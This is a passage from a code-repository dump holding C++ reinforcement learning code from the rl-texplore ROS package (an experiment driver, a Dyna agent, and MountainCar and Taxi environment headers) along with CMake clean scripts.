\"rmax\") == 0 && plannerType != VALUE_ITERATION){\n cout << \"Typical implementation of R-Max would use value iteration, but another planner type is ok\" << endl;\n }\n cout << \"planner: \" << plannerNames[plannerType] << endl;\n break;\n }\n\n case 'c':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0){\n if (strcmp(optarg, \"average\") == 0) predType = AVERAGE;\n else if (strcmp(optarg, \"weighted\") == 0) predType = WEIGHTAVG;\n else if (strcmp(optarg, \"best\") == 0) predType = BEST;\n else if (strcmp(optarg, \"separate\") == 0) predType = SEPARATE;\n cout << \"predType: \" << comboNames[predType] << endl;\n } else {\n cout << \"--combo is an invalid option for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case '#':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0){\n nmodels = std::atoi(optarg);\n cout << \"nmodels: \" << nmodels << endl;\n } else {\n cout << \"--nmodels is an invalid option for agent: \" << agentType << endl;\n exit(-1);\n }\n if (nmodels < 1){\n cout << \"nmodels must be > 0\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 't':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0){\n reltrans = true;\n cout << \"reltrans: \" << reltrans << endl;\n } else {\n cout << \"--reltrans is an invalid option for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case '0':\n {\n if (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0){\n reltrans = false;\n cout << \"reltrans: \" << reltrans << endl;\n } else {\n cout << \"--abstrans is an invalid option for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 's':\n seed = std::atoi(optarg);\n cout << \"seed: \" << seed << endl;\n break;\n\n case 'q':\n // already processed this one\n cout << \"agent: \" << agentType << endl;\n break;\n\n case 'd':\n PRINTS = true;\n break;\n\n case 'w':\n nstates = std::atoi(optarg);\n cout << \"nstates for discretization: \" << nstates << endl;\n break;\n\n case 'v':\n case 'b':\n {\n bvnChanged = true;\n if (strcmp(agentType, \"texplore\") == 0){\n v = std::atof(optarg);\n cout << \"v coefficient (variance bonus): \" << v << endl;\n }\n else {\n cout << \"--v and --b are invalid options for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 'n':\n {\n bvnChanged = true;\n if (strcmp(agentType, \"texplore\") == 0){\n n = std::atof(optarg);\n cout << \"n coefficient (novelty bonus): \" << n << endl;\n }\n else {\n cout << \"--n is an invalid option for agent: \" << agentType << endl;\n exit(-1);\n }\n break;\n }\n\n case 2:\n stochastic = false;\n cout << \"stochastic: \" << stochastic << endl;\n break;\n\n case 11:\n {\n if (strcmp(envType, \"fuelworld\") == 0){\n highvar = true;\n cout << \"fuel world fuel cost variation: \" << highvar << endl;\n } else {\n cout << \"--highvar is only a valid option for the fuelworld domain.\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 3:\n stochastic = true;\n cout << \"stochastic: \" << stochastic << endl;\n break;\n\n case 4:\n {\n if (strcmp(envType, \"mcar\") == 0 || strcmp(envType, \"tworooms\") == 0){\n delay = std::atoi(optarg);\n cout << \"delay steps: \" << delay << endl;\n } else {\n cout << \"--delay option is only valid for the mcar and tworooms domains\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 5:\n {\n if (strcmp(envType, \"stocks\") == 0){\n nsectors = std::atoi(optarg);\n cout << \"nsectors: \" << nsectors << endl;\n } else {\n cout << \"--nsectors option is only valid for the stocks domain\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 6:\n {\n if (strcmp(envType, \"stocks\") == 0){\n nstocks = std::atoi(optarg);\n cout << \"nstocks: \" << nstocks << endl;\n } else {\n cout << \"--nstocks option is only valid for the stocks domain\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 7:\n {\n if (strcmp(envType, \"car2to7\") == 0 || strcmp(envType, \"car7to2\") == 0 || strcmp(envType, \"carrandom\") == 0){\n lag = true;\n cout << \"lag: \" << lag << endl;\n } else {\n cout << \"--lag option is only valid for car velocity tasks\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 8:\n {\n if (strcmp(envType, \"car2to7\") == 0 || strcmp(envType, \"car7to2\") == 0 || strcmp(envType, \"carrandom\") == 0){\n lag = false;\n cout << \"lag: \" << lag << endl;\n } else {\n cout << \"--nolag option is only valid for car velocity tasks\" << endl;\n exit(-1);\n }\n break;\n }\n\n case 1:\n // already processed this one\n cout << \"env: \" << envType << endl;\n break;\n\n case 12:\n NUMEPISODES = std::atoi(optarg);\n cout << \"Num Episodes: \" << NUMEPISODES << endl;\n break;\n\n case 'h':\n case '?':\n case 0:\n default:\n displayHelp();\n break;\n }\n }\n\n // default back to greedy if no coefficients\n if (exploreType == DIFF_AND_NOVEL_BONUS && v == 0 && n == 0)\n exploreType = GREEDY;\n\n // check for conflicting options\n // changed epsilon but not doing epsilon greedy exploration\n if (epsilonChanged && exploreType != EPSILONGREEDY){\n cout << \"No reason to change epsilon when not using epsilon-greedy exploration\" << endl;\n exit(-1);\n }\n\n // set history value but not doing uct w/history planner\n if (history > 0 && (plannerType == VALUE_ITERATION || plannerType == POLICY_ITERATION || plannerType == PRI_SWEEPING)){\n cout << \"No reason to set history higher than 0 if not using a UCT planner\" << endl;\n exit(-1);\n }\n\n // set action rate but not doing real-time planner\n if (actrateChanged && (plannerType == VALUE_ITERATION || plannerType == POLICY_ITERATION || plannerType == PRI_SWEEPING)){\n cout << \"No reason to set actrate if not using a UCT planner\" << endl;\n exit(-1);\n }\n\n // set lambda but not doing uct (lambda)\n if (lambdaChanged && (strcmp(agentType, \"texplore\") == 0 || strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") == 0) && (plannerType == VALUE_ITERATION || plannerType == POLICY_ITERATION || plannerType == PRI_SWEEPING)){\n cout << \"No reason to set actrate if not using a UCT planner\" << endl;\n exit(-1);\n }\n\n // set n/v/b but not doing that diff_novel exploration\n if (bvnChanged && exploreType != DIFF_AND_NOVEL_BONUS){\n cout << \"No reason to set n or v if not doing variance & novelty exploration\" << endl;\n exit(-1);\n }\n\n // set combo other than best but only doing 1 model\n if (predType != BEST && nmodels == 1){\n cout << \"No reason to have model combo other than best with nmodels = 1\" << endl;\n exit(-1);\n }\n\n // set M but not doing explore unknown\n if (mChanged && exploreType != EXPLORE_UNKNOWN){\n cout << \"No reason to set M if not doing R-max style Explore Unknown exploration\" << endl;\n exit(-1);\n }\n\n if (PRINTS){\n if (stochastic)\n cout << \"Stohastic\\n\";\n else\n cout << \"Deterministic\\n\";\n }\n\n Random rng(1 + seed);\n\n std::vector<int> statesPerDim;\n\n // Construct environment here.\n Environment* e;\n\n if (strcmp(envType, \"cartpole\") == 0){\n if (PRINTS) cout << \"Environment: Cart Pole\\n\";\n e = new CartPole(rng, stochastic);\n }\n\n else if (strcmp(envType, \"mcar\") == 0){\n if (PRINTS) cout << \"Environment: Mountain Car\\n\";\n e = new MountainCar(rng, stochastic, false, delay);\n }\n\n // taxi\n else if (strcmp(envType, \"taxi\") == 0){\n if (PRINTS) cout << \"Environment: Taxi\\n\";\n e = new Taxi(rng, stochastic);\n }\n\n // Light World\n else if (strcmp(envType, \"lightworld\") == 0){\n if (PRINTS) cout << \"Environment: Light World\\n\";\n e = new LightWorld(rng, stochastic, 4);\n }\n\n // two rooms\n else if (strcmp(envType, \"tworooms\") == 0){\n if (PRINTS) cout << \"Environment: TwoRooms\\n\";\n e = new TwoRooms(rng, stochastic, true, delay, false);\n }\n\n // car vel, 2 to 7\n else if (strcmp(envType, \"car2to7\") == 0){\n if (PRINTS) cout << \"Environment: Car Velocity 2 to 7 m/s\\n\";\n e = new RobotCarVel(rng, false, true, false, lag);\n statesPerDim.resize(4,0);\n statesPerDim[0] = 12;\n statesPerDim[1] = 120;\n statesPerDim[2] = 4;\n statesPerDim[3] = 10;\n MAXSTEPS = 100;\n }\n // car vel, 7 to 2\n else if (strcmp(envType, \"car7to2\") == 0){\n if (PRINTS) cout << \"Environment: Car Velocity 7 to 2 m/s\\n\";\n e = new RobotCarVel(rng, false, false, false, lag);\n statesPerDim.resize(4,0);\n statesPerDim[0] = 12;\n statesPerDim[1] = 120;\n statesPerDim[2] = 4;\n statesPerDim[3] = 10;\n MAXSTEPS = 100;\n }\n // car vel, random vels\n else if (strcmp(envType, \"carrandom\") == 0){\n if (PRINTS) cout << \"Environment: Car Velocity Random Velocities\\n\";\n e = new RobotCarVel(rng, true, false, false, lag);\n statesPerDim.resize(4,0);\n statesPerDim[0] = 12;\n statesPerDim[1] = 48;\n statesPerDim[2] = 4;\n statesPerDim[3] = 10;\n MAXSTEPS = 100;\n }\n\n // four rooms\n else if (strcmp(envType, \"fourrooms\") == 0){\n if (PRINTS) cout << \"Environment: FourRooms\\n\";\n e = new FourRooms(rng, stochastic, true, false);\n }\n\n // four rooms with energy level\n else if (strcmp(envType, \"energy\") == 0){\n if (PRINTS) cout << \"Environment: EnergyRooms\\n\";\n e = new EnergyRooms(rng, stochastic, true, false);\n }\n\n // gridworld with fuel (fuel stations on top and bottom with random costs)\n else if (strcmp(envType, \"fuelworld\") == 0){\n if (PRINTS) cout << \"Environment: FuelWorld\\n\";\n e = new FuelRooms(rng, highvar, stochastic);\n }\n\n // stocks\n else if (strcmp(envType, \"stocks\") == 0){\n if (PRINTS) cout << \"Enironment: Stocks with \" << nsectors\n << \" sectors and \" << nstocks << \" stocks\\n\";\n e = new Stocks(rng, stochastic, nsectors, nstocks);\n }\n\n else {\n std::cerr << \"Invalid env type\" << endl;\n exit(-1);\n }\n\n const int numactions = e->getNumActions(); // Most agents will need this?\n\n std::vector<float> minValues;\n std::vector<float> maxValues;\n e->getMinMaxFeatures(&minValues, &maxValues);\n bool episodic = e->isEpisodic();\n\n cout << \"Environment is \";\n if (!episodic) cout << \"NOT \";\n cout << \"episodic.\" << endl;\n\n // lets just check this for now\n for (unsigned i = 0; i < minValues.size(); i++){\n if (PRINTS) cout << \"Feat \" << i << \" min: \" << minValues[i]\n << \" max: \" << maxValues[i] << endl;\n }\n\n // get max/min reward for the domain\n float rMax = 0.0;\n float rMin = -1.0;\n\n e->getMinMaxReward(&rMin, &rMax);\n float rRange = rMax - rMin;\n if (PRINTS) cout << \"Min Reward: \" << rMin\n << \", Max Reward: \" << rMax << endl;\n\n // set rmax as a bonus for certain exploration types\n if (rMax <= 0.0 && (exploreType == TWO_MODE_PLUS_R ||\n exploreType == CONTINUOUS_BONUS_R ||\n exploreType == CONTINUOUS_BONUS ||\n exploreType == THRESHOLD_BONUS_R)){\n rMax = 1.0;\n }\n\n\n float rsum = 0;\n\n if (statesPerDim.size() == 0){\n cout << \"set statesPerDim to \" << nstates << \" for all dim\" << endl;\n statesPerDim.resize(minValues.size(), nstates);\n }\n\n for (unsigned j = 0; j < NUMTRIALS; ++j) {\n\n // Construct agent here.\n Agent* agent;\n\n if (strcmp(agentType, \"qlearner\") == 0){\n if (PRINTS) cout << \"Agent: QLearner\" << endl;\n agent = new QLearner(numactions,\n discountfactor,\n initialvalue, //0.0, // initialvalue\n alpha, // alpha\n epsilon, // epsilon\n rng);\n }\n\n else if (strcmp(agentType, \"dyna\") == 0){\n if (PRINTS) cout << \"Agent: Dyna\" << endl;\n agent = new Dyna(numactions,\n discountfactor,\n initialvalue, //0.0, // initialvalue\n alpha, // alpha\n k, // k\n epsilon, // epsilon\n rng);\n }\n\n else if (strcmp(agentType, \"sarsa\") == 0){\n if (PRINTS) cout << \"Agent: SARSA\" << endl;\n agent = new Sarsa(numactions,\n discountfactor,\n initialvalue, //0.0, // initialvalue\n alpha, // alpha\n epsilon, // epsilon\n lambda,\n rng);\n }\n\n else if (strcmp(agentType, \"modelbased\") == 0 || strcmp(agentType, \"rmax\") || strcmp(agentType, \"texplore\")){\n if (PRINTS) cout << \"Agent: Model Based\" << endl;\n agent = new ModelBasedAgent(numactions,\n discountfactor,\n rMax, rRange,\n modelType,\n exploreType,\n predType,\n nmodels,\n plannerType,\n epsilon, // epsilon\n lambda,\n (1.0/actrate), //0.1, //0.1, //0.01, // max time\n M,\n minValues, maxValues,\n statesPerDim,//0,\n history, v, n,\n deptrans, reltrans, featPct, stochastic, episodic,\n rng);\n }\n\n else if (strcmp(agentType, \"savedpolicy\") == 0){\n if (PRINTS) cout << \"Agent: Saved Policy\" << endl;\n agent = new SavedPolicy(numactions,filename);\n }\n\n else {\n std::cerr << \"ERROR: Invalid agent type\" << endl;\n exit(-1);\n }\n\n // start discrete agent if we're discretizing (if nstates > 0 and not agent type 'c')\n int totalStates = 1;\n Agent* a2 = agent;\n // not for model based when doing continuous model\n if (nstates > 0 && (modelType != M5ALLMULTI || strcmp(agentType, \"qlearner\") == 0)){\n int totalStates = powf(nstates,minValues.size());\n if (PRINTS) cout << \"Discretize with \" << nstates << \", total: \" << totalStates << endl;\n agent = new DiscretizationAgent(nstates, a2,\n minValues, maxValues, PRINTS);\n }\n else {\n totalStates = 1;\n for (unsigned i = 0; i < minValues.size(); i++){\n int range = 1+maxValues[i] - minValues[i];\n totalStates *= range;\n }\n if (PRINTS) cout << \"No discretization, total: \" << totalStates << endl;\n }\n\n // before we start, seed the agent with some experiences\n agent->seedExp(e->getSeedings());\n\n // STEP BY STEP DOMAIN\n if (!episodic){\n\n // performance tracking\n float sum = 0;\n int steps = 0;\n float trialSum = 0.0;\n\n int a = 0;\n float r = 0;\n\n //////////////////////////////////\n // non-episodic\n //////////////////////////////////\n for (unsigned i = 0; i < NUMEPISODES; ++i){\n\n std::vector<float> es = e->sensation();\n\n // first step\n if (i == 0){\n\n // first action\n a = agent->first_action(es);\n r = e->apply(a);\n\n } else {\n // next action\n a = agent->next_action(r, es);\n r = e->apply(a);\n }\n\n // update performance\n sum += r;\n ++steps;\n\n std::cerr << r << endl;\n\n }\n ///////////////////////////////////\n\n rsum += sum;\n trialSum += sum;\n if (PRINTS) cout << \"Rsum(trial \" << j << \"): \" << trialSum << \" Avg: \"\n << (rsum / (float)(j+1))<< endl;\n\n }\n\n // EPISODIC DOMAINS\n else {\n\n //////////////////////////////////\n // episodic\n //////////////////////////////////\n for (unsigned i = 0; i < NUMEPISODES; ++i) {\n\n // performance tracking\n float sum = 0;\n int steps = 0;\n\n // first action\n std::vector<float> es = e->sensation();\n int a = agent->first_action(es);\n float r = e->apply(a);\n\n // update performance\n sum += r;\n ++steps;\n\n while (!e->terminal() && steps < MAXSTEPS) {\n\n // perform an action\n es = e->sensation();\n a = agent->next_action(r, es);\n r = e->apply(a);\n\n // update performance info\n sum += r;\n ++steps;\n\n }\n\n // terminal/last state\n if (e->terminal()){\n agent->last_action(r);\n }else{\n agent->next_action(r, e->sensation());\n }\n\n e->reset();\n std::cerr << sum << endl;\n\n rsum += sum;\n\n }\n\n }\n\n if (NUMTRIALS > 1) delete agent;\n\n }\n\n if (PRINTS) cout << \"Avg Rsum: \" << (rsum / (float)NUMTRIALS) << endl;\n\n} // end main\n\n" }, { "alpha_fraction": 0.7760140895843506, "alphanum_fraction": 0.7760140895843506, "avg_line_length": 42.61538314819336, "blob_id": "20bb18408ba86202ee274bd4811ec3400c045948", "content_id": "6e731157013cfbae7994d4936bc0117d2417673a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 567, "license_type": "no_license", "max_line_length": 90, "num_lines": 13, "path": "/build/rl-texplore-ros-pkg-master/src/rl_msgs/CMakeFiles/rl_msgs_generate_messages_cpp.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/rl_msgs_generate_messages_cpp\"\n \"/home/justin/ros_test/devel/include/rl_msgs/RLEnvSeedExperience.h\"\n \"/home/justin/ros_test/devel/include/rl_msgs/RLExperimentInfo.h\"\n \"/home/justin/ros_test/devel/include/rl_msgs/RLEnvDescription.h\"\n \"/home/justin/ros_test/devel/include/rl_msgs/RLStateReward.h\"\n \"/home/justin/ros_test/devel/include/rl_msgs/RLAction.h\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/rl_msgs_generate_messages_cpp.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5642428398132324, "alphanum_fraction": 0.5697131156921387, "avg_line_length": 22.276397705078125, "blob_id": "a67412fc4e1ee8aa822993c1fc396599337c022e", "content_id": "4ae503c12eca89664f4a8e78a75e6ca94c30ec4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7495, "license_type": "no_license", "max_line_length": 77, "num_lines": 322, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Agent/Dyna.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_agent/Dyna.hh>\n#include <algorithm>\n\n#include <sys/time.h>\n\n\nDyna::Dyna(int numactions, float gamma,\n float initialvalue, float alpha, int k, float ep,\n\t\t Random rng):\n numactions(numactions), gamma(gamma),\n initialvalue(initialvalue), alpha(alpha), k(k),\n rng(rng), currentq(NULL), laststate(NULL), lastact(0)\n{\n\n epsilon = ep;\n ACTDEBUG = false; //true; //false;\n cout << \"Dyna agent with k:\" << k << endl;\n\n}\n\nDyna::~Dyna() {}\n\nint Dyna::first_action(const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"First - in state: \";\n printState(s);\n cout << endl;\n }\n\n return getBestAction(s);\n\n}\n\nint Dyna::getBestAction(const std::vector<float> &s){\n //cout << \"get best action\" << endl;\n\n // for some amount of time, update based on randomly sampled experiences\n int numExp = (int)experiences.size();\n for (int i = 0; i < k && numExp > 0; i++){\n \n // update from randoml sampled action\n int exp = 0;\n if (numExp > 1)\n exp = rng.uniformDiscrete(0, numExp-1);\n //cout << count << \" Update exp \" << exp << endl;\n\n dynaExperience e = experiences[exp];\n\n std::vector<float> &Q_s = Q[e.s];\n if (e.term){\n Q_s[e.a] += alpha * (e.r - Q_s[e.a]);\n } else {\n std::vector<float> &Q_next = Q[e.next];\n const std::vector<float>::iterator max =\n random_max_element(Q_next.begin(), Q_next.end());\n Q_s[e.a] += alpha * (e.r + (gamma * *max) - Q_s[e.a]);\n }\n\n }\n\n\n // then do normal action selection\n // Get action values\n state_t st = canonicalize(s);\n std::vector<float> &Q_s = Q[st];\n\n // Choose an action\n const std::vector<float>::iterator a =\n rng.uniform() < epsilon\n ? Q_s.begin() + rng.uniformDiscrete(0, numactions - 1) // Choose randomly\n : random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // Store location to update value later\n currentq = &*a;\n laststate = st;\n lastact = a - Q_s.begin();\n\n if (ACTDEBUG){\n cout << \" act: \" << (a-Q_s.begin()) << \" val: \" << *a << endl;\n for (int iAct = 0; iAct < numactions; iAct++){\n cout << \" Action: \" << iAct \n\t << \" val: \" << Q_s[iAct] << endl;\n }\n cout << \"Took action \" << (a-Q_s.begin()) << \" from state \";\n printState(s);\n cout << endl;\n }\n\n return a - Q_s.begin();\n}\n\nvoid Dyna::addExperience(float r, state_t s, bool term){\n\n dynaExperience e;\n e.s = laststate;\n e.a = lastact;\n e.next = s;\n e.r = r;\n e.term = term;\n\n experiences.push_back(e);\n\n}\n\nint Dyna::next_action(float r, const std::vector<float> &s) {\n\n if (ACTDEBUG){\n cout << \"Next: got reward \" << r << \" in state: \";\n printState(s);\n cout << endl;\n }\n\n state_t st = canonicalize(s);\n\n addExperience(r,st,false);\n\n // Get action values\n std::vector<float> &Q_s = Q[st];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n\n // Update value of action just executed\n *currentq += alpha * (r + gamma * (*max) - *currentq);\n\n return getBestAction(s);\n\n}\n\n\n\n\nvoid Dyna::last_action(float r) {\n\n if (ACTDEBUG){\n cout << \"Last: got reward \" << r << endl;\n }\n\n addExperience(r,NULL,true);\n\n *currentq += alpha * (r - *currentq);\n currentq = NULL;\n laststate = NULL;\n}\n\nDyna::state_t Dyna::canonicalize(const std::vector<float> &s) {\n const std::pair<std::set<std::vector<float> >::iterator, bool> result =\n statespace.insert(s);\n state_t retval = &*result.first; // Dereference iterator then get pointer \n if (result.second) { // s is new, so initialize Q(s,a) for all a\n std::vector<float> &Q_s = Q[retval];\n Q_s.resize(numactions,initialvalue);\n }\n return retval; \n}\n\n\n\n std::vector<float>::iterator\nDyna::random_max_element(\n\t\t\t std::vector<float>::iterator start,\n\t\t\t std::vector<float>::iterator end) {\n\n std::vector<float>::iterator max =\n std::max_element(start, end);\n int n = std::count(max, end, *max);\n if (n > 1) {\n n = rng.uniformDiscrete(1, n);\n while (n > 1) {\n max = std::find(max + 1, end, *max);\n --n;\n }\n }\n return max;\n}\n\n\n\n\nvoid Dyna::setDebug(bool d){\n ACTDEBUG = d;\n}\n\n\nvoid Dyna::printState(const std::vector<float> &s){\n for (unsigned j = 0; j < s.size(); j++){\n cout << s[j] << \", \";\n }\n}\n\n\n\nvoid Dyna::seedExp(std::vector<experience> seeds){\n\n // for each seeding experience, update our model\n for (unsigned i = 0; i < seeds.size(); i++){\n experience e = seeds[i];\n \n laststate = canonicalize(e.s);\n lastact = e.act;\n state_t st = canonicalize(e.next);\n std::vector<float> &Q_s = Q[laststate];\n std::vector<float> &Q_next = Q[st];\n \n // add experience\n addExperience(e.reward,st,e.terminal);\n\n // get max value of next state\n const std::vector<float>::iterator max =\n random_max_element(Q_next.begin(), Q_next.end());\n\n // Get q value for action taken\n const std::vector<float>::iterator a = Q_s.begin() + e.act;\n currentq = &*a;\n\n // Update value of action just executed\n *currentq += alpha * (e.reward + gamma * (*max) - *currentq);\n\n \n /*\n cout << \"Seeding with experience \" << i << endl;\n cout << \"last: \" << (e.s)[0] << \", \" << (e.s)[1] << \", \" \n\t << (e.s)[2] << endl;\n cout << \"act: \" << e.act << \" r: \" << e.reward << endl;\n cout << \"next: \" << (e.next)[0] << \", \" << (e.next)[1] << \", \" \n\t << (e.next)[2] << \", \" << e.terminal << endl;\n cout << \"Q: \" << *currentq << \" max: \" << *max << endl;\n */\n\n }\n\n\n}\n\nvoid Dyna::logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax){\n std::vector<float> s;\n s.resize(2, 0.0);\n for (int i = xmin ; i < xmax; i++){\n for (int j = ymin; j < ymax; j++){\n s[0] = j;\n s[1] = i;\n std::vector<float> &Q_s = Q[canonicalize(s)];\n const std::vector<float>::iterator max =\n random_max_element(Q_s.begin(), Q_s.end());\n *of << (*max) << \",\";\n }\n }\n}\n\n\nfloat Dyna::getValue(std::vector<float> state){\n\n state_t s = canonicalize(state);\n\n // Get Q values\n std::vector<float> &Q_s = Q[s];\n\n // Choose an action\n const std::vector<float>::iterator a =\n random_max_element(Q_s.begin(), Q_s.end()); // Choose maximum\n\n // Get avg value\n float valSum = 0.0;\n float cnt = 0;\n for (std::set<std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n\n // get state's info\n std::vector<float> &Q_s = Q[s];\n \n for (int j = 0; j < numactions; j++){\n valSum += Q_s[j];\n cnt++;\n }\n }\n\n cout << \"Avg Value: \" << (valSum / cnt) << endl;\n\n return *a;\n}\n\n\nvoid Dyna::savePolicy(const char* filename){\n\n ofstream policyFile(filename, ios::out | ios::binary | ios::trunc);\n\n // first part, save the vector size\n std::set< std::vector<float> >::iterator i = statespace.begin();\n int fsize = (*i).size();\n policyFile.write((char*)&fsize, sizeof(int));\n\n // save numactions\n policyFile.write((char*)&numactions, sizeof(int));\n\n // go through all states, and save Q values\n for (std::set< std::vector<float> >::iterator i = statespace.begin();\n i != statespace.end(); i++){\n\n state_t s = canonicalize(*i);\n std::vector<float> *Q_s = &(Q[s]);\n\n // save state\n policyFile.write((char*)&((*i)[0]), sizeof(float)*fsize);\n\n // save q-values\n policyFile.write((char*)&((*Q_s)[0]), sizeof(float)*numactions);\n\n }\n\n policyFile.close();\n}\n\n\n\ndouble Dyna::getSeconds(){\n struct timezone tz;\n timeval timeT;\n gettimeofday(&timeT, &tz);\n return timeT.tv_sec + (timeT.tv_usec / 1000000.0);\n}\n" }, { "alpha_fraction": 0.7935222387313843, "alphanum_fraction": 0.7935222387313843, "avg_line_length": 29.875, "blob_id": "7afb77fcfc7ecd248f0b1ace3a00fd25bb65757b", "content_id": "44e47469bf420c3692ddd7adbecf4ccea2a23e05", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 247, "license_type": "no_license", "max_line_length": 92, "num_lines": 8, "path": "/src/mantis_model/CMakeFiles/clean_test_results_mantis_model.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "FILE(REMOVE_RECURSE\n \"CMakeFiles/clean_test_results_mantis_model\"\n)\n\n# Per-language clean rules from dependency scanning.\nFOREACH(lang)\n INCLUDE(CMakeFiles/clean_test_results_mantis_model.dir/cmake_clean_${lang}.cmake OPTIONAL)\nENDFOREACH(lang)\n" }, { "alpha_fraction": 0.7027310729026794, "alphanum_fraction": 0.7037814855575562, "avg_line_length": 23.10126495361328, "blob_id": "060cfbd92583345e52d7504116e2260159243c8f", "content_id": "90f04235c922975597781d613af1a9a55ec30dc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1904, "license_type": "no_license", "max_line_length": 91, "num_lines": 79, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/MountainCar.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file MountainCar.hh\n Defines the Mountain Car domain, with possible action delays or linearized \n transition dynamics.\n \\author Todd Hester\n*/\n\n#ifndef _MOUNTAINCAR_H_\n#define _MOUNTAINCAR_H_\n\n#include <set>\n#include <deque>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n/** This class defines the Mountain Car domain, with possible action delays or linearized \n transition dynamics.\n*/\nclass MountainCar: public Environment {\npublic:\n\n /** Creates a deterministic MountainCar domain.\n \\param rand Random number generator used solely for random\n initial states. \n */\n MountainCar(Random &rand);\n\n /** Creates a Mountain Car domain.\n \\param rand Random number generator\n \\param stochastic if transitions are noisy\n \\param lin create linearized transition dynamics\n \\param delay # of steps to delay state observations\n */\n MountainCar(Random &rand, bool stochastic, bool lin, int delay);\n\n virtual ~MountainCar();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n /** Set the state vector (for debug purposes) */\n void setSensation(std::vector<float> newS);\n\n virtual std::vector<experience> getSeedings();\n\n /** Get an experience for the given state-action */\n experience getExp(float s0, float s1, int a);\n \nprotected:\n enum car_action_t {REVERSE, ZERO, FORWARD};\n\nprivate:\n\n std::deque<float> posHistory;\n std::deque<float> velHistory;\n\n const bool noisy;\n Random &rng;\n\n std::vector<float> s;\n \n float &pos;\n float &vel;\n const bool linear;\n int delay;\n\n float reward();\n\n float bound(float val, float min, float max);\n \n};\n\n#endif\n" }, { "alpha_fraction": 0.6909680962562561, "alphanum_fraction": 0.693329393863678, "avg_line_length": 28.982301712036133, "blob_id": "8210ce515ff45afaf7800739bfd4c73463dce4e2", "content_id": "13644f1556a7d2388bb79d14ec0fdfdf00e2e1fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3388, "license_type": "no_license", "max_line_length": 91, "num_lines": 113, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/taxi.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file taxi.hh\n Defines the taxi domain, from:\n Dietterich, \"The MAXQ method for hierarchical reinforcement learning,\" ICML 1998. \n \\author Todd Hester\n \\author Nick Jong\n*/\n\n#ifndef _TAXI_H_\n#define _TAXI_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include \"gridworld.hh\"\n\n/** This class defines the Taxi domain. */\nclass Taxi: public Environment {\npublic:\n /** Creates a Taxi domain using the specified map.\n \\param rand Random number generator to use.\n \\param gridworld The map to use.\n \\param stochastic Whether to use nondeterministic actions and\n fickle passenger. */\n Taxi(Random &rand, const Gridworld *gridworld, bool stochastic);\n\n /** Creates a deterministic Taxi domain.\n \\param rand Random number generator used solely for random\n initial states. */\n Taxi(Random &rand);\n\n /** Creates a possibly noisy Taxi domain. \n \\param rand Random number generator to use.\n \\param stochastic Whether to use nondeterministic actions and\n fickle passenger. \n */\n Taxi(Random &rand, bool stochastic);\n\n /** Creates a random Taxi domain of the given size. \n \\param rand Random number generator to use.\n \\param width width of grid\n \\param height height of grid\n \\param stochastic Whether to use nondeterministic actions and\n fickle passenger. \n */ \n Taxi(Random &rand, unsigned width, unsigned height, bool stochastic);\n\n virtual ~Taxi();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n virtual std::vector<experience> getSeedings();\n\n /** Get an example experience for the given state-action. */\n experience getExp(float s0, float s1, float s2, float s3, int a);\n\n /** Set the current state (for debug purposes) */\n void setSensation(std::vector<float> newS);\n\nprotected:\n typedef std::pair<float,float> coord_t;\n enum taxi_action_t {NORTH, SOUTH, EAST, WEST, PICKUP, PUTDOWN};\n\n /** The default landmarks for the Taxi domain */\n class DefaultLandmarks: public std::vector<coord_t> {\n public:\n 